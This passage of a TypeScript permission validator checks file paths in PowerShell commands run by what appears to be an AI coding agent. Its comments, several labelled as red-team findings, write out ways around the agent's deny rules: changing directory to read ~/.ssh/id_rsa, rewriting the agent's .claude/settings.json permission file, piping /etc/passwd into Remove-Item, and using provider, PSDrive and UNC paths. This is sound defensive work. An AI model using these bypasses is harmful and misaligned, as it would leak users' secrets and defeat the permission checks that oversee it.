  788. rawValue.startsWith('[') ||
  789. rawValue.includes('`') ||
  790. rawValue.includes('@(') ||
  791. rawValue.startsWith('@{') ||
  792. rawValue.includes('$')
  793. )
  794. }
  795. function formatDirectoryList(directories: string[]): string {
  796. const dirCount = directories.length
  797. if (dirCount <= MAX_DIRS_TO_LIST) {
  798. return directories.map(dir => `'${dir}'`).join(', ')
  799. }
  800. const firstDirs = directories
  801. .slice(0, MAX_DIRS_TO_LIST)
  802. .map(dir => `'${dir}'`)
  803. .join(', ')
  804. return `${firstDirs}, and ${dirCount - MAX_DIRS_TO_LIST} more`
  805. }
  806. /**
  807. * Expands tilde (~) at the start of a path to the user's home directory.
  808. */
  809. function expandTilde(filePath: string): string {
  810. if (
  811. filePath === '~' ||
  812. filePath.startsWith('~/') ||
  813. filePath.startsWith('~\\')
  814. ) {
  815. return homedir() + filePath.slice(1)
  816. }
  817. return filePath
  818. }
  819. /**
  820. * Checks the raw user-provided path (pre-realpath) for dangerous removal
  821. * targets. safeResolvePath/realpathSync canonicalizes in ways that defeat
  822. * isDangerousRemovalPath: on Windows '/' → 'C:\' (fails the === '/' check);
  823. * on macOS homedir() may be under /var which realpathSync rewrites to
  824. * /private/var (fails the === homedir() check). Checking the tilde-expanded,
  825. * backslash-normalized form catches the dangerous shapes (/, ~, /etc, /usr)
  826. * as the user typed them.
  827. */
  828. export function isDangerousRemovalRawPath(filePath: string): boolean {
  829. const expanded = expandTilde(filePath.replace(/^['"]|['"]$/g, '')).replace(
  830. /\\/g,
  831. '/',
  832. )
  833. return isDangerousRemovalPath(expanded)
  834. }
  835. export function dangerousRemovalDeny(path: string): PermissionResult {
  836. return {
  837. behavior: 'deny',
  838. message: `Remove-Item on system path '${path}' is blocked. This path is protected from removal.`,
  839. decisionReason: {
  840. type: 'other',
  841. reason: 'Removal targets a protected system path',
  842. },
  843. }
  844. }
  845. /**
  846. * Checks if a resolved path is allowed for the given operation type.
  847. * Mirrors the logic in BashTool/pathValidation.ts isPathAllowed.
  848. */
  849. function isPathAllowed(
  850. resolvedPath: string,
  851. context: ToolPermissionContext,
  852. operationType: FileOperationType,
  853. precomputedPathsToCheck?: readonly string[],
  854. ): PathCheckResult {
  855. const permissionType = operationType === 'read' ? 'read' : 'edit'
  856. // 1. Check deny rules first
  857. const denyRule = matchingRuleForInput(
  858. resolvedPath,
  859. context,
  860. permissionType,
  861. 'deny',
  862. )
  863. if (denyRule !== null) {
  864. return {
  865. allowed: false,
  866. decisionReason: { type: 'rule', rule: denyRule },
  867. }
  868. }
  869. // 2. For write/create operations, check internal editable paths (plan files, scratchpad, agent memory, job dirs)
  870. // This MUST come before checkPathSafetyForAutoEdit since .claude is a dangerous directory
  871. // and internal editable paths live under ~/.claude/ — matching the ordering in
  872. // checkWritePermissionForTool (filesystem.ts step 1.5)
  873. if (operationType !== 'read') {
  874. const internalEditResult = checkEditableInternalPath(resolvedPath, {})
  875. if (internalEditResult.behavior === 'allow') {
  876. return {
  877. allowed: true,
  878. decisionReason: internalEditResult.decisionReason,
  879. }
  880. }
  881. }
  882. // 2.5. For write/create operations, check safety validations
  883. if (operationType !== 'read') {
  884. const safetyCheck = checkPathSafetyForAutoEdit(
  885. resolvedPath,
  886. precomputedPathsToCheck,
  887. )
  888. if (!safetyCheck.safe) {
  889. return {
  890. allowed: false,
  891. decisionReason: {
  892. type: 'safetyCheck',
  893. reason: safetyCheck.message,
  894. classifierApprovable: safetyCheck.classifierApprovable,
  895. },
  896. }
  897. }
  898. }
  899. // 3. Check if path is in allowed working directory
  900. const isInWorkingDir = pathInAllowedWorkingPath(
  901. resolvedPath,
  902. context,
  903. precomputedPathsToCheck,
  904. )
  905. if (isInWorkingDir) {
  906. if (operationType === 'read' || context.mode === 'acceptEdits') {
  907. return { allowed: true }
  908. }
  909. }
  910. // 3.5. For read operations, check internal readable paths
  911. if (operationType === 'read') {
  912. const internalReadResult = checkReadableInternalPath(resolvedPath, {})
  913. if (internalReadResult.behavior === 'allow') {
  914. return {
  915. allowed: true,
  916. decisionReason: internalReadResult.decisionReason,
  917. }
  918. }
  919. }
  920. // 3.7. For write/create operations to paths OUTSIDE the working directory,
  921. // check the sandbox write allowlist. When the sandbox is enabled, users
  922. // have explicitly configured writable directories (e.g. /tmp/claude/) —
  923. // treat these as additional allowed write directories so redirects/Out-File/
  924. // New-Item don't prompt unnecessarily. Paths IN the working directory are
  925. // excluded: the sandbox allowlist always seeds '.' (cwd), which would
  926. // bypass the acceptEdits gate at step 3.
  927. if (
  928. operationType !== 'read' &&
  929. !isInWorkingDir &&
  930. isPathInSandboxWriteAllowlist(resolvedPath)
  931. ) {
  932. return {
  933. allowed: true,
  934. decisionReason: {
  935. type: 'other',
  936. reason: 'Path is in sandbox write allowlist',
  937. },
  938. }
  939. }
  940. // 4. Check allow rules
  941. const allowRule = matchingRuleForInput(
  942. resolvedPath,
  943. context,
  944. permissionType,
  945. 'allow',
  946. )
  947. if (allowRule !== null) {
  948. return {
  949. allowed: true,
  950. decisionReason: { type: 'rule', rule: allowRule },
  951. }
  952. }
  953. // 5. Path is not allowed
  954. return { allowed: false }
  955. }
  956. /**
  957. * Best-effort deny check for paths obscured by :: or backtick syntax.
  958. * ONLY checks deny rules — never auto-allows. If the stripped guess
  959. * doesn't match a deny rule, we fall through to ask as before.
  960. */
  961. function checkDenyRuleForGuessedPath(
  962. strippedPath: string,
  963. cwd: string,
  964. toolPermissionContext: ToolPermissionContext,
  965. operationType: FileOperationType,
  966. ): { resolvedPath: string; rule: PermissionRule } | null {
  967. // Red-team P7: null bytes make expandPath throw. Pre-existing but
  968. // defend here since we're introducing a new call path.
  969. if (!strippedPath || strippedPath.includes('\0')) return null
  970. // Red-team P3: `~/.ssh/x strips to ~/.ssh/x but expandTilde only fires
  971. // on leading ~ — the backtick was in front of it. Re-run here.
  972. const tildeExpanded = expandTilde(strippedPath)
  973. const abs = isAbsolute(tildeExpanded)
  974. ? tildeExpanded
  975. : resolve(cwd, tildeExpanded)
  976. const { resolvedPath } = safeResolvePath(getFsImplementation(), abs)
  977. const permissionType = operationType === 'read' ? 'read' : 'edit'
  978. const denyRule = matchingRuleForInput(
  979. resolvedPath,
  980. toolPermissionContext,
  981. permissionType,
  982. 'deny',
  983. )
  984. return denyRule ? { resolvedPath, rule: denyRule } : null
  985. }
  986. /**
  987. * Validates a file system path, handling tilde expansion.
  988. */
  989. function validatePath(
  990. filePath: string,
  991. cwd: string,
  992. toolPermissionContext: ToolPermissionContext,
  993. operationType: FileOperationType,
  994. ): ResolvedPathCheckResult {
  995. // Remove surrounding quotes if present
  996. const cleanPath = expandTilde(filePath.replace(/^['"]|['"]$/g, ''))
  997. // SECURITY: PowerShell Core normalizes backslashes to forward slashes on all
  998. // platforms, but path.resolve on Linux/Mac treats them as literal characters.
  999. // Normalize before resolution so traversal patterns like dir\..\..\etc\shadow
  1000. // are correctly detected.
  1001. const normalizedPath = cleanPath.replace(/\\/g, '/')
  1002. // SECURITY: Backtick (`) is PowerShell's escape character. It is a no-op in
  1003. // many positions (e.g., `/ === /) but defeats Node.js path checks like
  1004. // isAbsolute(). Redirection targets use raw .Extent.Text which preserves
  1005. // backtick escapes. Treat any path containing a backtick as unvalidatable.
  1006. if (normalizedPath.includes('`')) {
  1007. // Red-team P3: backtick is already resolved for StringConstant args
  1008. // (parser uses .value); this guard primarily fires for redirection
  1009. // targets which use raw .Extent.Text. Strip is a no-op for most special
  1010. // escapes (`n → n) but that's fine — wrong guess → no deny match →
  1011. // falls to ask.
  1012. const backtickStripped = normalizedPath.replace(/`/g, '')
  1013. const denyHit = checkDenyRuleForGuessedPath(
  1014. backtickStripped,
  1015. cwd,
  1016. toolPermissionContext,
  1017. operationType,
  1018. )
  1019. if (denyHit) {
  1020. return {
  1021. allowed: false,
  1022. resolvedPath: denyHit.resolvedPath,
  1023. decisionReason: { type: 'rule', rule: denyHit.rule },
  1024. }
  1025. }
  1026. return {
  1027. allowed: false,
  1028. resolvedPath: normalizedPath,
  1029. decisionReason: {
  1030. type: 'other',
  1031. reason:
  1032. 'Backtick escape characters in paths cannot be statically validated and require manual approval',
  1033. },
  1034. }
  1035. }
  1036. // SECURITY: Block module-qualified provider paths. PowerShell allows
  1037. // `Microsoft.PowerShell.Core\FileSystem::/etc/passwd` which resolves to
  1038. // `/etc/passwd` via the FileSystem provider. The `::` is the provider
  1039. // path separator and doesn't match the simple `^[a-z]{2,}:` regex.
  1040. if (normalizedPath.includes('::')) {
  1041. // Strip everything up to and including the first :: — handles both
  1042. // FileSystem::/path and Microsoft.PowerShell.Core\FileSystem::/path.
  1043. // Double-:: (Foo::Bar::/x) strips first only → 'Bar::/x' → resolve
  1044. // makes it {cwd}/Bar::/x → won't match real deny rules → falls to ask.
  1045. // Safe.
  1046. const afterProvider = normalizedPath.slice(normalizedPath.indexOf('::') + 2)
  1047. const denyHit = checkDenyRuleForGuessedPath(
  1048. afterProvider,
  1049. cwd,
  1050. toolPermissionContext,
  1051. operationType,
  1052. )
  1053. if (denyHit) {
  1054. return {
  1055. allowed: false,
  1056. resolvedPath: denyHit.resolvedPath,
  1057. decisionReason: { type: 'rule', rule: denyHit.rule },
  1058. }
  1059. }
  1060. return {
  1061. allowed: false,
  1062. resolvedPath: normalizedPath,
  1063. decisionReason: {
  1064. type: 'other',
  1065. reason:
  1066. 'Module-qualified provider paths (::) cannot be statically validated and require manual approval',
  1067. },
  1068. }
  1069. }
  1070. // SECURITY: Block UNC paths — they can trigger network requests and
  1071. // leak NTLM/Kerberos credentials
  1072. if (
  1073. normalizedPath.startsWith('//') ||
  1074. /DavWWWRoot/i.test(normalizedPath) ||
  1075. /@SSL@/i.test(normalizedPath)
  1076. ) {
  1077. return {
  1078. allowed: false,
  1079. resolvedPath: normalizedPath,
  1080. decisionReason: {
  1081. type: 'other',
  1082. reason:
  1083. 'UNC paths are blocked because they can trigger network requests and credential leakage',
  1084. },
  1085. }
  1086. }
  1087. // SECURITY: Reject paths containing shell expansion syntax
  1088. if (normalizedPath.includes('$') || normalizedPath.includes('%')) {
  1089. return {
  1090. allowed: false,
  1091. resolvedPath: normalizedPath,
  1092. decisionReason: {
  1093. type: 'other',
  1094. reason: 'Variable expansion syntax in paths requires manual approval',
  1095. },
  1096. }
  1097. }
  1098. // SECURITY: Block non-filesystem provider paths (env:, HKLM:, alias:, function:, etc.)
  1099. // These paths access non-filesystem resources and must require manual approval.
  1100. // This catches colon-syntax like -Path:env:HOME where the extracted value is 'env:HOME'.
  1101. //
  1102. // Platform split (findings #21/#28):
  1103. // - Windows: require 2+ letters before ':' so native drive letters (C:, D:)
  1104. // pass through to path.win32.isAbsolute/resolve which handle them correctly.
  1105. // - POSIX: ANY <letters>: prefix is a PowerShell PSDrive — single-letter drive
  1106. // paths have no native meaning on Linux/macOS. `New-PSDrive -Name Z -Root /etc`
  1107. // then `Get-Content Z:/secrets` would otherwise resolve via
  1108. // path.posix.resolve(cwd, 'Z:/secrets') → '{cwd}/Z:/secrets' → inside cwd →
  1109. // allowed, bypassing Read(/etc/**) deny rules. We cannot statically know what
  1110. // filesystem root a PSDrive maps to, so treat all drive-prefixed paths on
  1111. // POSIX as unvalidatable.
  1112. // Include digits in PSDrive name (bug #23): `New-PSDrive -Name 1 ...`
  1113. // creates drive `1:` — a valid PSDrive path prefix.
  1114. // Windows regex requires 2+ chars to exclude single-letter native drive letters
  1115. // (C:, D:). Use a single character class [a-z0-9] to catch mixed alphanumeric
  1116. // PSDrive names like `a1:`, `1a:` — the previous alternation `[a-z]{2,}|[0-9]+`
  1117. // missed those since `a1` is neither pure letters nor pure digits.
  1118. const providerPathRegex =
  1119. getPlatform() === 'windows' ? /^[a-z0-9]{2,}:/i : /^[a-z0-9]+:/i
  1120. if (providerPathRegex.test(normalizedPath)) {
  1121. return {
  1122. allowed: false,
  1123. resolvedPath: normalizedPath,
  1124. decisionReason: {
  1125. type: 'other',
  1126. reason: `Path '${normalizedPath}' uses a non-filesystem provider and requires manual approval`,
  1127. },
  1128. }
  1129. }
  1130. // SECURITY: Block glob patterns in write/create operations
  1131. if (GLOB_PATTERN_REGEX.test(normalizedPath)) {
  1132. if (operationType === 'write' || operationType === 'create') {
  1133. return {
  1134. allowed: false,
  1135. resolvedPath: normalizedPath,
  1136. decisionReason: {
  1137. type: 'other',
  1138. reason:
  1139. 'Glob patterns are not allowed in write operations. Please specify an exact file path.',
  1140. },
  1141. }
  1142. }
  1143. // For read operations with path traversal (e.g., /project/*/../../../etc/shadow),
  1144. // resolve the full path (including glob chars) and validate that resolved path.
  1145. // This catches patterns that escape the working directory via `..` after the glob.
  1146. if (containsPathTraversal(normalizedPath)) {
  1147. const absolutePath = isAbsolute(normalizedPath)
  1148. ? normalizedPath
  1149. : resolve(cwd, normalizedPath)
  1150. const { resolvedPath, isCanonical } = safeResolvePath(
  1151. getFsImplementation(),
  1152. absolutePath,
  1153. )
  1154. const result = isPathAllowed(
  1155. resolvedPath,
  1156. toolPermissionContext,
  1157. operationType,
  1158. isCanonical ? [resolvedPath] : undefined,
  1159. )
  1160. return {
  1161. allowed: result.allowed,
  1162. resolvedPath,
  1163. decisionReason: result.decisionReason,
  1164. }
  1165. }
  1166. // SECURITY (finding #15): Glob patterns for read operations cannot be
  1167. // statically validated. getGlobBaseDirectory returns the directory before
  1168. // the first glob char; only that base is realpathed. Anything matched by
  1169. // the glob (including symlinks) is never examined. Example:
  1170. // /project/*/passwd with symlink /project/link → /etc
  1171. // Base dir is /project (allowed), but runtime expands * to 'link' and
  1172. // reads /etc/passwd. We cannot validate symlinks inside glob expansion
  1173. // without actually expanding the glob (requires filesystem access and
  1174. // still races with attacker creating symlinks post-validation).
  1175. //
  1176. // Still check deny rules on the base directory so explicit Read(/project/**)
  1177. // deny rules fire. If no deny matches, force ask.
  1178. const basePath = getGlobBaseDirectory(normalizedPath)
  1179. const absoluteBasePath = isAbsolute(basePath)
  1180. ? basePath
  1181. : resolve(cwd, basePath)
  1182. const { resolvedPath } = safeResolvePath(
  1183. getFsImplementation(),
  1184. absoluteBasePath,
  1185. )
  1186. const permissionType = operationType === 'read' ? 'read' : 'edit'
  1187. const denyRule = matchingRuleForInput(
  1188. resolvedPath,
  1189. toolPermissionContext,
  1190. permissionType,
  1191. 'deny',
  1192. )
  1193. if (denyRule !== null) {
  1194. return {
  1195. allowed: false,
  1196. resolvedPath,
  1197. decisionReason: { type: 'rule', rule: denyRule },
  1198. }
  1199. }
  1200. return {
  1201. allowed: false,
  1202. resolvedPath,
  1203. decisionReason: {
  1204. type: 'other',
  1205. reason:
  1206. 'Glob patterns in paths cannot be statically validated — symlinks inside the glob expansion are not examined. Requires manual approval.',
  1207. },
  1208. }
  1209. }
  1210. // Resolve path
  1211. const absolutePath = isAbsolute(normalizedPath)
  1212. ? normalizedPath
  1213. : resolve(cwd, normalizedPath)
  1214. const { resolvedPath, isCanonical } = safeResolvePath(
  1215. getFsImplementation(),
  1216. absolutePath,
  1217. )
  1218. const result = isPathAllowed(
  1219. resolvedPath,
  1220. toolPermissionContext,
  1221. operationType,
  1222. isCanonical ? [resolvedPath] : undefined,
  1223. )
  1224. return {
  1225. allowed: result.allowed,
  1226. resolvedPath,
  1227. decisionReason: result.decisionReason,
  1228. }
  1229. }
  1230. function getGlobBaseDirectory(filePath: string): string {
  1231. const globMatch = filePath.match(GLOB_PATTERN_REGEX)
  1232. if (!globMatch || globMatch.index === undefined) {
  1233. return filePath
  1234. }
  1235. const beforeGlob = filePath.substring(0, globMatch.index)
  1236. const lastSepIndex = Math.max(
  1237. beforeGlob.lastIndexOf('/'),
  1238. beforeGlob.lastIndexOf('\\'),
  1239. )
  1240. if (lastSepIndex === -1) return '.'
  1241. return beforeGlob.substring(0, lastSepIndex + 1) || '/'
  1242. }
  1243. /**
  1244. * Element types that are safe to extract as literal path strings.
  1245. *
  1246. * Only element types with statically-known string values are safe for path
  1247. * extraction. Variable and ExpandableString have runtime-determined values —
  1248. * even though they're defended downstream ($ detection in validatePath's
  1249. * `includes('$')` check, and the hasExpandableStrings security flag), excluding
  1250. * them here is defense-in-direct: fail-safe at the earliest gate rather than
  1251. * relying on downstream checks to catch them.
  1252. *
  1253. * Any other type (e.g., 'Other' for ArrayLiteralExpressionAst, 'SubExpression',
  1254. * 'ScriptBlock', 'Variable', 'ExpandableString') cannot be statically validated
  1255. * and must force an ask.
  1256. */
  1257. const SAFE_PATH_ELEMENT_TYPES = new Set<string>(['StringConstant', 'Parameter'])
  1258. /**
  1259. * Extract file paths from a parsed PowerShell command element.
  1260. * Uses the AST args to find positional and named path parameters.
  1261. *
  1262. * If any path argument has a complex elementType (e.g., array literal,
  1263. * subexpression) that cannot be statically validated, sets
  1264. * hasUnvalidatablePathArg so the caller can force an ask.
  1265. */
  1266. function extractPathsFromCommand(cmd: ParsedCommandElement): {
  1267. paths: string[]
  1268. operationType: FileOperationType
  1269. hasUnvalidatablePathArg: boolean
  1270. optionalWrite: boolean
  1271. } {
  1272. const canonical = resolveToCanonical(cmd.name)
  1273. const config = CMDLET_PATH_CONFIG[canonical]
  1274. if (!config) {
  1275. return {
  1276. paths: [],
  1277. operationType: 'read',
  1278. hasUnvalidatablePathArg: false,
  1279. optionalWrite: false,
  1280. }
  1281. }
  1282. // Build per-cmdlet known-param sets, merging in common parameters.
  1283. const switchParams = [...config.knownSwitches, ...COMMON_SWITCHES]
  1284. const valueParams = [...config.knownValueParams, ...COMMON_VALUE_PARAMS]
  1285. const paths: string[] = []
  1286. const args = cmd.args
  1287. // elementTypes[0] is the command name; elementTypes[i+1] corresponds to args[i]
  1288. const elementTypes = cmd.elementTypes
  1289. let hasUnvalidatablePathArg = false
  1290. let positionalsSeen = 0
  1291. const positionalSkip = config.positionalSkip ?? 0
  1292. function checkArgElementType(argIdx: number): void {
  1293. if (!elementTypes) return
  1294. const et = elementTypes[argIdx + 1]
  1295. if (et && !SAFE_PATH_ELEMENT_TYPES.has(et)) {
  1296. hasUnvalidatablePathArg = true
  1297. }
  1298. }
  1299. // Extract named parameter values (e.g., -Path "C:\foo")
  1300. for (let i = 0; i < args.length; i++) {
  1301. const arg = args[i]
  1302. if (!arg) continue
  1303. // Check if this arg is a parameter name.
  1304. // SECURITY: Use elementTypes as ground truth. PowerShell's tokenizer
  1305. // accepts en-dash/em-dash/horizontal-bar (U+2013/2014/2015) as parameter
  1306. // prefixes; a raw startsWith('-') check misses `–Path` (en-dash). The
  1307. // parser maps CommandParameterAst → 'Parameter' regardless of dash char.
  1308. // isPowerShellParameter also correctly rejects quoted "-Include"
  1309. // (StringConstant, not a parameter).
  1310. const argElementType = elementTypes ? elementTypes[i + 1] : undefined
  1311. if (isPowerShellParameter(arg, argElementType)) {
  1312. // Handle colon syntax: -Path:C:\secret
  1313. // Normalize Unicode dash to ASCII `-` (pathParams are stored with `-`).
  1314. const normalized = '-' + arg.slice(1)
  1315. const colonIdx = normalized.indexOf(':', 1) // skip first char (the dash)
  1316. const paramName =
  1317. colonIdx > 0 ? normalized.substring(0, colonIdx) : normalized
  1318. const paramLower = paramName.toLowerCase()
  1319. if (matchesParam(paramLower, config.pathParams)) {
  1320. // Known path parameter — extract its value as a path.
  1321. let value: string | undefined
  1322. if (colonIdx > 0) {
  1323. // Colon syntax: -Path:value — the whole thing is one element.
  1324. // SECURITY: comma-separated values (e.g., -Path:safe.txt,/etc/passwd)
  1325. // produce ArrayLiteralExpressionAst inside the CommandParameterAst.
  1326. // PowerShell writes to ALL paths, but we see a single string.
  1327. const rawValue = arg.substring(colonIdx + 1)
  1328. if (hasComplexColonValue(rawValue)) {
  1329. hasUnvalidatablePathArg = true
  1330. } else {
  1331. value = rawValue
  1332. }
  1333. } else {
  1334. // Standard syntax: -Path value
  1335. const nextVal = args[i + 1]
  1336. const nextType = elementTypes ? elementTypes[i + 2] : undefined
  1337. if (nextVal && !isPowerShellParameter(nextVal, nextType)) {
  1338. value = nextVal
  1339. checkArgElementType(i + 1)
  1340. i++ // Skip the value
  1341. }
  1342. }
  1343. if (value) {
  1344. paths.push(value)
  1345. }
  1346. } else if (
  1347. config.leafOnlyPathParams &&
  1348. matchesParam(paramLower, config.leafOnlyPathParams)
  1349. ) {
  1350. // Leaf-only path parameter (e.g., New-Item -Name). PowerShell resolves
  1351. // this relative to ANOTHER parameter (-Path), not cwd. validatePath
  1352. // resolves against cwd (L930), so non-leaf values (separators,
  1353. // traversal) resolve to the WRONG location and can miss deny rules
  1354. // (deny→ask downgrade). Extract simple leaf filenames; flag anything
  1355. // path-like.
  1356. let value: string | undefined
  1357. if (colonIdx > 0) {
  1358. const rawValue = arg.substring(colonIdx + 1)
  1359. if (hasComplexColonValue(rawValue)) {
  1360. hasUnvalidatablePathArg = true
  1361. } else {
  1362. value = rawValue
  1363. }
  1364. } else {
  1365. const nextVal = args[i + 1]
  1366. const nextType = elementTypes ? elementTypes[i + 2] : undefined
  1367. if (nextVal && !isPowerShellParameter(nextVal, nextType)) {
  1368. value = nextVal
  1369. checkArgElementType(i + 1)
  1370. i++
  1371. }
  1372. }
  1373. if (value !== undefined) {
  1374. if (
  1375. value.includes('/') ||
  1376. value.includes('\\') ||
  1377. value === '.' ||
  1378. value === '..'
  1379. ) {
  1380. // Non-leaf: separators or traversal. Can't resolve correctly
  1381. // without joining against -Path. Force ask.
  1382. hasUnvalidatablePathArg = true
  1383. } else {
  1384. // Simple leaf: extract. Resolves to cwd/leaf (slightly wrong —
  1385. // should be <-Path>/leaf) but -Path extraction covers the
  1386. // directory, and a leaf filename can't traverse out of anywhere.
  1387. paths.push(value)
  1388. }
  1389. }
  1390. } else if (matchesParam(paramLower, switchParams)) {
  1391. // Known switch parameter — takes no value, do NOT consume next arg.
  1392. // (Colon syntax on a switch, e.g., -Confirm:$false, is self-contained
  1393. // in one token and correctly falls through here without consuming.)
  1394. } else if (matchesParam(paramLower, valueParams)) {
  1395. // Known value-taking non-path parameter (e.g., -Encoding UTF8, -Filter *.txt).
  1396. // Consume its value; do NOT validate as path, but DO check elementType.
  1397. // SECURITY: A Variable elementType (e.g., $env:ANTHROPIC_API_KEY) in any
  1398. // argument position means the runtime value is not statically knowable.
  1399. // Without this check, `-Value $env:SECRET` would be silently auto-allowed
  1400. // in acceptEdits mode because the Variable elementType was never examined.
  1401. if (colonIdx > 0) {
  1402. // Colon syntax: -Value:$env:FOO — the value is embedded in the token.
  1403. // The outer CommandParameterAst 'Parameter' type masks the inner
  1404. // expression type. Check for expression markers that indicate a
  1405. // non-static value (mirrors pathParams colon-syntax guards).
  1406. const rawValue = arg.substring(colonIdx + 1)
  1407. if (hasComplexColonValue(rawValue)) {
  1408. hasUnvalidatablePathArg = true
  1409. }
  1410. } else {
  1411. const nextArg = args[i + 1]
  1412. const nextArgType = elementTypes ? elementTypes[i + 2] : undefined
  1413. if (nextArg && !isPowerShellParameter(nextArg, nextArgType)) {
  1414. checkArgElementType(i + 1)
  1415. i++ // Skip the parameter's value
  1416. }
  1417. }
  1418. } else {
  1419. // Unknown parameter — we do not understand this invocation.
  1420. // SECURITY: This is the structural fix for the KNOWN_SWITCH_PARAMS
  1421. // whack-a-mole. Rather than guess whether this param is a switch
  1422. // (and risk swallowing a positional path) or takes a value (and
  1423. // risk the same), we flag the whole command as unvalidatable.
  1424. // The caller will force an ask.
  1425. hasUnvalidatablePathArg = true
  1426. // SECURITY: Even though we don't recognize this param, if it uses
  1427. // colon syntax (-UnknownParam:/etc/hosts) the bound value might be
  1428. // a filesystem path. Extract it into paths[] so deny-rule matching
  1429. // still runs. Without this, the value is trapped inside the single
  1430. // token and paths=[] means deny rules are never consulted —
  1431. // downgrading deny to ask. This is defense-in-depth: the primary
  1432. // fix is adding all known aliases to pathParams above.
  1433. if (colonIdx > 0) {
  1434. const rawValue = arg.substring(colonIdx + 1)
  1435. if (!hasComplexColonValue(rawValue)) {
  1436. paths.push(rawValue)
  1437. }
  1438. }
  1439. // Continue the loop so we still extract any recognizable paths
  1440. // (useful for the ask message), but the flag ensures overall 'ask'.
  1441. }
  1442. continue
  1443. }
  1444. // Positional arguments: extract as paths (e.g., Get-Content file.txt)
  1445. // The first positional arg is typically the source path.
  1446. // Skip leading positionals that are non-path values (e.g., iwr's -Uri).
  1447. if (positionalsSeen < positionalSkip) {
  1448. positionalsSeen++
  1449. continue
  1450. }
  1451. positionalsSeen++
  1452. checkArgElementType(i)
  1453. paths.push(arg)
  1454. }
  1455. return {
  1456. paths,
  1457. operationType: config.operationType,
  1458. hasUnvalidatablePathArg,
  1459. optionalWrite: config.optionalWrite ?? false,
  1460. }
  1461. }
  1462. /**
  1463. * Checks path constraints for PowerShell commands.
  1464. * Extracts file paths from the parsed AST and validates they are
  1465. * within allowed directories.
  1466. *
  1467. * @param compoundCommandHasCd - Whether the full compound command contains a
  1468. * cwd-changing cmdlet (Set-Location/Push-Location/Pop-Location/New-PSDrive,
  1469. * excluding no-op Set-Location-to-CWD). When true, relative paths in ANY
  1470. * statement cannot be trusted — PowerShell executes statements sequentially
  1471. * and a cd in statement N changes the cwd for statement N+1, but this
  1472. * validator resolves all paths against the stale Node process cwd.
  1473. * BashTool parity (BashTool/pathValidation.ts:630-655).
  1474. *
  1475. * @returns
  1476. * - 'ask' if any path command tries to access outside allowed directories
  1477. * - 'deny' if a deny rule explicitly blocks the path
  1478. * - 'passthrough' if no path commands were found or all paths are valid
  1479. */
  1480. export function checkPathConstraints(
  1481. input: { command: string },
  1482. parsed: ParsedPowerShellCommand,
  1483. toolPermissionContext: ToolPermissionContext,
  1484. compoundCommandHasCd = false,
  1485. ): PermissionResult {
  1486. if (!parsed.valid) {
  1487. return {
  1488. behavior: 'passthrough',
  1489. message: '无法验证未解析命令的路径',
  1490. }
  1491. }
  1492. // SECURITY: Two-pass approach — check ALL statements/paths so deny rules
  1493. // always take precedence over ask. Without this, an ask on statement 1
  1494. // could return before checking statement 2 for deny rules, letting the
  1495. // user approve a command that includes a denied path.
  1496. let firstAsk: PermissionResult | undefined
  1497. for (const statement of parsed.statements) {
  1498. const result = checkPathConstraintsForStatement(
  1499. statement,
  1500. toolPermissionContext,
  1501. compoundCommandHasCd,
  1502. )
  1503. if (result.behavior === 'deny') {
  1504. return result
  1505. }
  1506. if (result.behavior === 'ask' && !firstAsk) {
  1507. firstAsk = result
  1508. }
  1509. }
  1510. return (
  1511. firstAsk ?? {
  1512. behavior: 'passthrough',
  1513. message: '所有路径约束验证成功',
  1514. }
  1515. )
  1516. }
  1517. function checkPathConstraintsForStatement(
  1518. statement: ParsedPowerShellCommand['statements'][number],
  1519. toolPermissionContext: ToolPermissionContext,
  1520. compoundCommandHasCd = false,
  1521. ): PermissionResult {
  1522. const cwd = getCwd()
  1523. let firstAsk: PermissionResult | undefined
  1524. // SECURITY: BashTool parity — block path operations in compound commands
  1525. // containing a cwd-changing cmdlet (BashTool/pathValidation.ts:630-655).
  1526. //
  1527. // When the compound contains Set-Location/Push-Location/Pop-Location/
  1528. // New-PSDrive, relative paths in later statements resolve against the
  1529. // CHANGED cwd at runtime, but this validator resolves them against the
  1530. // STALE getCwd() snapshot. Example attack (finding #3):
  1531. // Set-Location ./.claude; Set-Content ./settings.json '...'
  1532. // Validator sees ./settings.json → /project/settings.json (not a config file).
  1533. // Runtime writes /project/.claude/settings.json (Claude's permission config).
  1534. //
  1535. // ALTERNATIVE APPROACH (rejected): simulate cwd through the statement chain
  1536. // — after `Set-Location ./.claude`, validate subsequent statements with
  1537. // cwd='./.claude'. This would be more permissive but requires careful
  1538. // handling of:
  1539. // - Push-Location/Pop-Location stack semantics
  1540. // - Set-Location with no args (→ home on some platforms)
  1541. // - New-PSDrive root mapping (arbitrary filesystem root)
  1542. // - Conditional/loop statements where cd may or may not execute
  1543. // - Error cases where the cd target can't be statically determined
  1544. // For now we take the conservative approach of requiring manual approval.
  1545. //
  1546. // Unlike BashTool which gates on `operationType !== 'read'`, we also block
  1547. // READS (finding #27): `Set-Location ~; Get-Content ./.ssh/id_rsa` bypasses
  1548. // Read(~/.ssh/**) deny rules because the validator matched the deny against
  1549. // /project/.ssh/id_rsa. Reads from mis-resolved paths leak data just as
  1550. // writes destroy it. We still run deny-rule matching below (via firstAsk,
  1551. // not early return) so explicit deny rules on the stale-resolved path are
  1552. // honored — deny > ask in the caller's reduce.
  1553. if (compoundCommandHasCd) {
  1554. firstAsk = {
  1555. behavior: 'ask',
  1556. message:
  1557. 'Compound command changes working directory (Set-Location/Push-Location/Pop-Location/New-PSDrive) — relative paths cannot be validated against the original cwd and require manual approval',
  1558. decisionReason: {
  1559. type: 'other',
  1560. reason:
  1561. 'Compound command contains cd with path operation — manual approval required to prevent path resolution bypass',
  1562. },
  1563. }
  1564. }
  1565. // SECURITY: Track whether this statement contains a non-CommandAst pipeline
  1566. // element (string literal, variable, array expression). PowerShell pipes
  1567. // these values to downstream cmdlets, often binding to -Path. Example:
  1568. // `'/etc/passwd' | Remove-Item` — the string is piped to Remove-Item's -Path,
  1569. // but Remove-Item has no explicit args so extractPathsFromCommand returns
  1570. // zero paths and the command would passthrough. If ANY downstream cmdlet
  1571. // appears alongside an expression source, we force an ask — the piped
  1572. // path is unvalidatable regardless of operation type (reads leak data;
  1573. // writes destroy it).
  1574. let hasExpressionPipelineSource = false
  1575. // Track the non-CommandAst element's text for deny-rule guessing (finding #23).
  1576. // `'.git/hooks/pre-commit' | Remove-Item` — path comes via pipeline, paths=[]
  1577. // from extractPathsFromCommand, so the deny loop below never iterates. We
  1578. // feed the pipeline-source text through checkDenyRuleForGuessedPath so
  1579. // explicit Edit(.git/**) deny rules still fire.
  1580. let pipelineSourceText: string | undefined
  1581. for (const cmd of statement.commands) {
  1582. if (cmd.elementType !== 'CommandAst') {
